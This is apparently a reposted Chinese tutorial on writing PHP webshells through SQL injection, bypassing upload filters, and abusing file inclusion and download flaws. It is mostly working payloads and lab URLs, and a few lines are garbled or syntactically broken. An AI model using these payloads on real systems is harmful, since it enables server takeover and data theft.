飞道的博客

网络安全攻防——webshell攻击&文件操作漏洞

184人阅读  评论(0)

1、文件加载与导入

数据库中需要开启权限,在my.ini文件的mysqld中添加语句:secure_file_priv= 表示可以导入导出到任何位置。在数据中查看权限SHOW GLOBAL VARIABLES LIKE '%secure%';secure_file_priv 为空说明正确。

load_file ()读取服务器中的文件

select hex(load_file(‘文件路径’)), hex是取出的字符串转换成16进制,取出后再转换成字符串。文件路径也需要转换成16进制,前加0x如果是windows的路径需要用两个右反斜杠。

# 加载文件显示
?id=1' and 1=2 union select 1,hex(load_file('/var/www/html/1.txt')),3 %23

into outfile()向服务器导入本地文件

select 1 into outfile ‘路径’ ;

注入:

1' and 1=2 union select 2,databases(),2 into outfile 'C:/11.txt' %23

可以将一句话木马传入到服务器中: 注意需要添加对应栏,木马根据闭合方式用双引号或者单引号,当闭合为单引号时,需要用双引号。

?id=3' and 1=2 union select 1,“<?php @eval($_POST('cmd'));?>“,1 into outfile '/var' %23

文件加载和导入,需要知道文件的绝对路径,使用报错和phpinfo可以爆出路径。如果加的是相对路径,默认的是mysql的路径,并不是项目页面所在的路径

2、一句话木马(小马)+大马+webshell

2.1 一句话木马

一句话木马:<?php @eval($_POST['cmd']?>

1、命令执行函数system(“str”);exec(“str”);shell_exec(“str”); //把str当命令执行, 一般是linux或windows的命令。

2、代码执行函数eval(“str”); //把str当php代码执行。

eval("echo '11';"); //代码执行函数
system("whoami");  //命令执行函数
echo exec("whoami"); //命令执行函数 静默执行需要用echo进行显示	
echo shell_exec("whoami");//命令执行函数 静默执行要用echo进行显示
eval("system('whoami');"); //混用参数进行注入

当服务器中存在含有一句话木马的php页面时候,就可以通过一些函数搭配命令进行漏洞注入:

//注入
http://169.254.124.22/func.php?cmd=phpinfo();
http://169.254.124.22/func.php?cmd=system('ipconfig > C:/ipconfig1.txt);
http://169.254.124.22/func.php?cmd=system('ls -la /var/www/html');
//也可以同时传入多个参数注入
http://169.254.124.22/func.php?cmd=phpinfo();system("whoami");

还可以使用如下php自带函数进行注入-找出文件与查看文件:

scandir(‘路径’); //php自带函数,通过数组的形式返回路径下的文件和文件夹,是静默函数,需要用print_r 输出数组。

readfile(‘文件名’) ; //php自带函数,读取文件的内容。

注入:

// 读取C盘下的所有文件
http://169.254.124.22/func.php?cmd=print_r(scandir('C:/'));
//找到文件后读取
http://169.254.124.22/func.php?cmd=readfile('C:/ipconfig.txt');

2.2 大马

大马也是需要服务器中存在的,多数情况下需要自己上传,小马与大马是指上传的页面,小马功能简单,体积小,而大马功能复杂,体积大,通常页面为了防病毒,会限制过大文件上传,可以先上传小马,再利用小马上传大马。

大马是robots.php页面

在客户端需要访问上传的大马页面,登录用户修改,默认admin 。取消第一行注释,将自定义用户名写入admin位置,然后登录,将页面显示的加密内容替换pass的内容,再讲第一行注释掉即可。

//echo encode_pass('admin');exit; 
//angel = ec38fe2a8497e0a8d6d349b3533038cb
// 如果需要密码验证,请修改登陆密码,留空为不需要验证
$pass  = '4f8f87a25861183d6e212a684c2bfcb1'; 

2.3 webshell软件

软件是图形用户界面,如蚁剑,冰蝎,哥斯拉,当上传一句话木马后,在蚁剑中添加需要访问的小马页面地址和码就可以用图形用户界面的形式查看服务器的内容,达到和大马一样的浏览效果

特别注意,一句话木马采用POST才能用软件连接webshell

2.4 附:常见命令

权限查看:whoami

网络进程:ifconfig / ip addr / ipconfig

查看进程的pid:netstat -ano

查看所有程序名称和pid: tasklist /svc

ps -auxkill -9 pidpwd(linux)dir(windows) =ls(linux)

创建 echo 'xxx' > C:/1.txt
查看 (windows)type c:\11.txt   || cat
复制 (windows)copy old.txt new.txt  || cp
移动 (windows)mov old.txt new.txt  || mv 
删除 (windows)del c:\11.txt  || rm -rf  *
搜索 (windows)搜索 dir /s  c:\ipconfig.*  //搜索路径下的匹配文件
    (linux) find / -name ipcnfig.*

3、文件上传漏洞

文件上传漏洞是指通过上传页面我们可以上传自己编写脚本,我们希望能够上传自己的一句话木马。但通常页面会通过黑名单或者白名单的方式在后缀名校验或者大小等方面限制我们的上传,通过brup拦截上传请求,修改后缀或MIME类型或者其他方法能够绕过这些验证。

常见文件的MIME类型:jpg-----image/jpeg,png----PNG,php---application/octet-stream

黑名单是不允许.php,.jsp后缀上传,白名单是只允许上传.jpg,.png后缀上传

首先是在客户端js验证,用brup改一下后缀即可。

黑名单:用随便一个乱七八糟的尾缀试一下,如果能上传,则是黑名单

  • 重写后缀.pphphp或者phphpp ,看从左向右删除还是从右向左删除 ,只有Linux能用

  • 特殊尾缀.php3,.php4,php5

  • 大小写.phP ,只有windows能用

  • 点绕过.php.

  • 空格绕过.php

  • :: D A T A 绕 过 ‘ . p h p : : DATA绕过`.php:: DATA.php::DATA` ,只有windows能用

  • 双后缀名绕过

  • 上传.htaccess绕过 ,针对linux。 注意这个文件不要文件名,直接就是.htaccess,上传这个文件后,再上传一张带有一句话木马的图片,是可以直接访问图片的php代码的。

    AddType application/x-httpd-php .jpg
    

白名单:

  • path=%00截断 php版本<5.3.4, 路径可控

  • filename= 1.php%00.jpg

上述两种方法在post都需要把%00右键convert selection->URL->URL-decode进行转码,get请求不需要。

  • 文件包含的方式和php.cgi:

我们希望能够直接上传一张包含一句话木马的符合白名单条件的.jpg。但是上传后如何访问这张图片调用里面的木马程序是个问题?可以将一句话木马写入到aa.jpg中生成shell.jpg,通过copy aa.jpg /b + test.php /a webshell.jpg,然后访问该图片就能调用一句话木马,(<?php include "./webshell.jpg";?>),访问shell.php会访问webshell.jpg的内容。当然如果系统存

  • php.cgi

    特别注意: 上传的带有木马的jpg访问不了,可以加一个 /任何名字.php ,即http://r6.re:8013/uploads/asdfdfsg.jpg/33.php ,即可访问图片里面的一句话木马,然后在利用一句话木马

4、文件包含漏洞

包含是指php中包含有另一个页面,访问该页面可以间接访问所包含的页面

文件包含漏洞是指我们希望能够访问到页面的源代码和并且实现一句话木马的功能

case1.静态包含

#静态包含test01.php
include "../index.php";
# 注入,执行../index.php中的内容
http://127.0.0.1/include/test01.php

case2.动态包含

#动态包含test02.php 
$path=@$_GET['path'];
include $path;
#注入,执行../index.php中的内容
http://127.0.0.1/include/test02.php?path=../index.php

case3.动态包含+强制尾缀

#动态包含test03.php
$path=@$_GET['path'];
include $path.".html";
# 注入,执行../index.php中的内容,将后面的html截断
http://127.0.0.1/include/test03.php?path=../index.php%00

case4.动态包含+获取包含页面的源代码

#动态包含test02.php
$path=@$_GET['path'];
include $path;
# 注入,获取../index.php页面的源代码
http://127.0.0.1/include/test02.php?path=php://filter/read=convert.base64-encode/resource=../index.php

case5.动态包含+base64转换

#动态包含test05.php
$path=base64_decode(@$_GET['path']);
include $path;
# 注入,执行../index.php中的内容,源码中解码64,注入中加码64
http://127.0.0.1/include/test05.php?path=Li4vaW5kZXgucGhw

case6.动态包含+执行所有命令

一句话木马必须是GET方式

服务器php.ini中修改allow_url_include为On

http://php.net/allow-url-include
allow_url_include=On
#动态包含test06.php
 $path = @$_GET['path'];
 include $path;
# 注入,执行test06
http://127.0.0.1/include/test06.php?path=php://input
Post data传入 <?php system('ipconfig');?> //此处可以写一些命令或者函数等

Notice:

disable_ function 显示禁用的函数,在配置文件 php.ini中设置禁用,禁用多个函数用逗号间隔。

5、文件下载漏洞

<?php
 header("Content-type: text/html;charset=utf-8");
$filename = $_GET['filename'];
//修改这一行设置你需要下载的文件的存放目录
$download_path = "./download/";
// 不能下载上一层目录的文件
// if(eregi("\.\.", $filename)) die("抱歉,你不能下载该文件!");
// $file = str_replace("..", "", $filename);
// 包含 .ht 的文件不能下载
// if(eregi("\.ht.+", $filename)) die("抱歉,你不能下载该文件!"); 
// 创建文件下载路径
$file = $download_path.$filename;
//判断文件是否存在
if(!file_exists($file)) die("抱歉,文件不存在!");
//  文件类型,作为头部发送给浏览器
$type = filetype($file); 
// 获取时间和日期
$today = date("F j, Y, g:i a");
$time = time();
// 发送文件头部
header("Content-type: $type");
//filename是指下载的文件名
header("Content-Disposition: attachment;filename=$filename");
header("Content-Transfer-Encoding: binary");
header('Pragma: no-cache');
header('Expires: 0');
// 发送文件内容
set_time_limit(0);
readfile($file);
?>

127.0.0.1/down/down.php?filename=file.txt

一般会把文件名字存在数据库中

$dbhost = '127.0.0.1';  // mysql服务器主机地址
$dbuser = 'root';            // mysql用户名
$dbpass = 'root';          // mysql用户名密码
$conn = mysqli_connect($dbhost, $dbuser, $dbpass);
$id = @$_GET['id'];
$sql = "select * from tb_file where id = '$id'";
if(! $conn )
{
   
    die('连接失败: ' . mysqli_error($conn));
}
mysqli_select_db( $conn, 'db_filedown' ); //选择数据库
$retval = mysqli_query( $conn, $sql ); //代入sql查询
$rs = mysqli_fetch_array($retval,MYSQLI_ASSOC);
if($rs['path']){
   
    $filename = $rs['path'];
    $file = './download/'.$rs['path'];
    if(!file_exists($file)) die("not found!");
    $type = filetype($file);
    // 获取时间和日期
    $today = date("F j, Y, g:i a");
    $time = time();
    // 发送文件头部
    header("Content-type: $type");
    header("Content-Disposition: attachment;filename=$filename");
    header("Content-Transfer-Encoding: binary");
    header('Pragma: no-cache');
    header('Expires: 0');
    // 发送文件内容
    set_time_limit(0);
    readfile($file);

}else{
   
    echo "not found!";
}

127.0.0.1/down/downmysql.php?id=1

6、CSRF漏洞

跨站点请求伪造

简单的说token是由服务端生成的一串字符串,作为客户端向服务端请求的一个标识。在前端使用用户名/密码向服务端发送请求认证,服务端认证成功,那么在服务端会返回token给前端,前端在每次请求时会带上服务端发来的token来证明自己的合法性。

7、总结:

我们的最终目的是为了获取服务器的所有文件信息,其中关键在于服务器中存在一个已只路径+含有一句话木马或者含有包含代码+已知码的可访问可执行其中代码的文件,如果服务器中没有这种文件,通常需要我们上传到服务器中,所以如何上传变成了关键,在这之前,需要先明白文件中的可执行代码可以是哪一种:

  • 一句话木马 <?php @eval($_POST['cmd']);?>
  • 包含代码 <?php include $_GET[‘path’];?>
  • 大马文件

这儿我们假设路径全为/var/www/html

D:\Workstation\phpStudy\phpstudy_pro\WWW

  • 如果存在sql注入,可以用into outfile上传一句话木马到我们规定的文件中,然后采用蚁剑来获取信息。

    http://127.0.0.1/sqli-labs/Less-1/?id=1' and 1=2 union select  1,"<?php @eval($_POST['cmd']);?>",1 into outfile
    'D:\\Workstation\\phpStudy\\phpstudy_pro\\WWW\\webshell01.php' %23
    

也可以上传文件包含的方式获取页面源代码或者其他页面信息或者一句话木马能得到的信息。然后可以查看包含的网页,源代码和进行一些信息查询。

http://127.0.0.1/sqli-labs/Less-1/?id=1' and 1=2 union select  1,"<?php include @$_GET['path'];?>",1 into outfile 'D:\\Workstation\\phpStudy\\phpstudy_pro\\WWW\\webshell02.php' %23
http://127.0.0.1/webshell02.php?path=php://filter/read=convert.base64-encode/resource=./index.php
http://127.0.0.1/webshell02.php?path=php://input   post参数为<?php system('dir');?>
  • 如果是文件上传的页面:

    • 黑名单:可以尝试上传大马,也可以通过绕过的方式上传.php文件,php文件代码是一句话木马或者文件包含代码,获取信息和上述一样。还有一个问题是我们需要知道上传文件的路径。

    • 白名单: 在%00截断无效的情况下,只能根据白名单允许的后缀上传,如.jpg。我们需要在图片中动手脚,可以通过php.cji和结合文件包含两种方式:

      • php.cji: 上传含有一句话木马或者文件包含代码的.jpg图片

      http://127.0.0.1/upload-labs/upload/shell_post.jpg/3.php

      
      - 结合文件包含的方式:这种方式的前提是服务器中有一个shell.php页面(<?php include './shell.jpg';?>),通过命令制作出含有一句话木马或包含代码的.jpg图片(copy aa.jpg /b + test.php /a webshell.jpg),然后访问shell.php即可。
      
      
  • 如果是文件下载的页面:

文件下载漏洞需要下载一些文件,首要下载主页,主页是指访问的主页

  • 在上述所有操作时可能用到一些列的查看目录或读取文件的操作:

    • 列出文件:system(‘ls ./’); echo exec(“ls ./”); echo shell_exec(“ls ./”); print_r(scandir (‘ls ./’));

    • 读取文件:

      • 如果存在sql注入:

      ?id=1’ and 1=2 union select 1,hex(load_file(’/var/www/html/1.txt’)),3 %23

      
      - system('cat ./test.php'); print_r(readfile ('ls ./'));
      
      

如果存在sql注入,可以用loadfile查看一些文件


转载:https://blog.csdn.net/g425680992/article/details/116780478
查看评论
* 以上用户言论只代表其个人观点,不代表本网站的观点或立场